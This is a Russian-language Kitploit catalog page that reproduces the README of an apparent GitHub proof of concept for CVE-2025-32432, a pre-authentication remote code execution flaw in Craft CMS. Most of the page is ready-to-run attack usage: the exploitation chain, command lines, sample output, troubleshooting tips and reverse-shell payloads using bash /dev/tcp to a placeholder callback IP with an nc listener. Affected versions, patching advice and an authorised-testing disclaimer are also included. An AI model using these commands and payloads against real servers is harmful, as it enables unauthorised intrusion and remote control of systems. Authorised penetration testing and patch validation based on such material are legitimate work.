Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-32432-POC | Kitploit
Инструменты/GitHubGitHub/theeomega/cve-2025-32432-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubtheeomega/cve-2025-32432-poc

CVE-2025-32432-POC

Репозиторий
28 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Craft CMS CVE-2025-32432 Single-Target PoC

Только авторизованное тестирование. Этот репозиторий предназначен для контролируемых лабораторных сред, CTF-платформ, таких как Hack The Box, внутренней валидации и защитной проверки. Не запускайте этот инструмент против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Обзор

Этот проект содержит proof-of-concept для одиночной цели по CVE-2025-32432 — проблеме удалённого выполнения кода в Craft CMS без предварительной аутентификации.

PoC выполняет два этапа:

  1. Подтверждение уязвимости с использованием гаджета phpinfo() через конечную точку генерации трансформаций ресурсов (asset transform) Craft CMS.
  2. Опциональное выполнение команд с использованием двухшаговой цепочки включения session-файла.

Скрипт разработан так, чтобы избежать распространённой проблемы ложного отрицательного результата, встречающейся в некоторых публичных PoC: обычный запрос трансформации изображения может возвращать 404, тогда как та же конечная точка и assetId всё ещё работают при использовании фактической полезной нагрузки гаджета.

Затронутые версии

Согласно официальному бюллетеню Craft CMS и публичным базам данных уязвимостей, затронутые диапазоны версий:

Если вы отвечаете за развёртывание Craft CMS, немедленно обновитесь до исправленной версии.

Техническое резюме

PoC работает по следующей схеме:

root@kitploit:~
Получить CSRF-токен
      |
      v
Проверить конечную точку + assetId с гаджетом phpinfo
      |
      v
Подтвердить, что уязвимый ответ содержит PHP Version / PHP License
      |
      v
Отравить return URL сессии Craft CMS PHP-полезной нагрузкой
      |
      v
Активировать yii\rbac\PhpManager для включения PHP session-файла
      |
      v
Выполнить опциональную команду

Важные детали реализации:

  • Обнаружение использует гаджет phpinfo, а не обычный запрос трансформации.
  • Команды передаются в виде hex, чтобы не ломать строку запроса пробелами, кавычками, пайпами или амперсандами.
  • Тестируемые каталоги PHP-сессий по умолчанию:
    • /var/lib/php/sessions
    • /var/lib/php/session
    • /tmp
  • Опция --timeout включена для сценариев обратной оболочки (reverse shell).

Файлы

root@kitploit:~
craftcms_cve_2025_32432_public_poc.py   Основной PoC для одиночной цели
README.md                               Документация проекта

Требования

  • Python 3.9+
  • requests
  • urllib3

Установка зависимостей:

root@kitploit:~
python3 -m pip install requests urllib3

Использование

1. Режим только проверки

Подтверждает уязвимость только с помощью гаджета phpinfo.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

Ожидаемый успешный вывод:

root@kitploit:~
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

Ответ phpinfo сохраняется как:

root@kitploit:~
phpinfo_success.html

2. Выполнение простой команды

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

Пример успешного вывода:

root@kitploit:~
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. Использование известной конечной точки и ID ресурса

Используйте это, когда вы уже знаете рабочие значения.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. Пользовательский фронт-контроллер

Некоторые цели могут использовать пользовательский фронт-контроллер, например x.php.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

При этом проверяются такие маршруты, как:

root@kitploit:~
http://target.local/x.php?p=admin/actions/assets/generate-transform

5. Использование обратной оболочки

Сначала запустите слушатель:

root@kitploit:~
rlwrap -cAr nc -lvnp 12345

Затем запустите PoC с командой обратной оболочки:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 отключает тайм-аут запроса. Это полезно, поскольку обратные оболочки часто удерживают HTTP-запрос открытым.

Вариант с отсоединённым процессом:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

Опции

Устранение неполадок

assetId 0 -> HTTP 404 при обычном сканировании

Не полагайтесь на обычный запрос трансформации для обнаружения. Некоторые цели возвращают 404 для обычного тела трансформации, но при этом всё равно выполняют полезную нагрузку гаджета.

Этот PoC обнаруживает рабочие комбинации с помощью самого гаджета phpinfo.

phpinfo работает, но выполнение команды не удаётся

Попробуйте указать каталог сессий вручную:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

Затем попробуйте:

root@kitploit:~
--session-dir /var/lib/php/session

или:

root@kitploit:~
--session-dir /tmp

Обратная оболочка подключается, но быстро завершается

Используйте один из следующих подходов:

  1. Отключите тайм-аут запроса:
root@kitploit:~
--timeout 0
  1. Используйте отсоединённую полезную нагрузку с setsid или nohup.

  2. Проверьте правильность вашего callback IP:

root@kitploit:~
ip -br a | grep tun

Тайм-аут чтения во время обратной оболочки

Это может быть нормой, если обратная оболочка успешно подключилась. Прежде чем считать тайм-аут ошибкой, проверьте ваш слушатель.

Вывод команды отсутствует

Сначала попробуйте более простую команду:

root@kitploit:~
-c "id"
-c "whoami"
-c "pwd"

Если простые команды работают, а сложные — нет, аккуратно заключите команду в кавычки или используйте отсоединённую полезную нагрузку оболочки.

Пример вывода в лабораторной среде

root@kitploit:~
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Рекомендации по защите

Если вы администрируете экземпляр Craft CMS:

  1. Обновитесь до Craft CMS 3.9.15, 4.14.15, 5.6.17 или более поздней версии.
  2. Проверьте корневые каталоги веб-сервера на наличие подозрительных PHP-файлов или веб-шеллов.
  3. Проверьте каталоги PHP-сессий и журналы веб-сервера на подозрительные запросы к маршрутам трансформации ресурсов.
  4. Если предполагается эксплуатация, смените секреты из .env и учётные данные базы данных.
  5. По возможности ограничьте публичный доступ к административным маршрутам.
  6. Проверьте временные метки файловой системы сервера вокруг предполагаемого окна компрометации.

Ссылки

  • Официальный бюллетень Craft CMS: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • База данных уязвимостей GitHub: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
  • Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Технический анализ SensePost: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

Отказ от ответственности

Этот проект предоставляется исключительно в образовательных, исследовательских, лабораторных целях и для защитной валидации. Автор не несёт ответственности за неправомерное использование. Тестируйте только системы, которыми вы владеете или на оценку которых у вас есть явное письменное разрешение.

Скачать инструмент
Ветка Craft CMSЗатронутые версииИсправленная версия
3.x< 3.9.153.9.15
4.x< 4.14.154.14.15
5.x< 5.6.175.6.17
ОпцияОписаниеПо умолчанию
-u, --urlБазовый URL целиОбязательно
-c, --cmdОпциональная команда для выполнения после подтверждения phpinfoНет
--frontИмя файла фронт-контроллераindex.php
-s, --scan-maxМаксимальное значение assetId для проверки с гаджетом phpinfo50
-a, --assetИзвестный рабочий ID ресурсаНет
--endpointИзвестная рабочая конечная точка generate-transformНет
--session-dirКаталог PHP-сессий. Можно указывать несколько разВстроенный список
--timeoutТайм-аут запроса для триггера команды. Используйте 0 для отключения20